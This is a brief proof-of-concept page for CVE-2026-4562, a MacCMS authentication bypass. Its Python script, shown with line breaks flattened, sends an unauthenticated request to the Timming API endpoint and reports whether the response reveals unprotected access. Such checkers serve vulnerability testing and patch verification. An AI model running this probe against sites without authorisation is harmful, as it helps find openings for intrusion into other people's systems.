CVE-2026-4562 MacCMS认证绕过漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-4562 Checks if the Timming API endpoint allows unauthenticated access. """ # The vulnerable endpoint is typically located at /api/controller/Timming.php # or routed via /api/Timming depending on the framework configuration. endpoint = f"{target_url}/api/Timming/index" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: # Send a request without authentication cookies or headers response = requests.get(endpoint, headers=headers, timeout=10) # Check if the response indicates successful access (e.g., HTTP 200 and specific content) if response.status_code == 200 and 'Timming' in response.text: print(f"[+] Vulnerability Confirmed at {endpoint}") print(f"[+] Response: {response.text[:200]}") else: print(f"[-] Vulnerability not detected or target patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)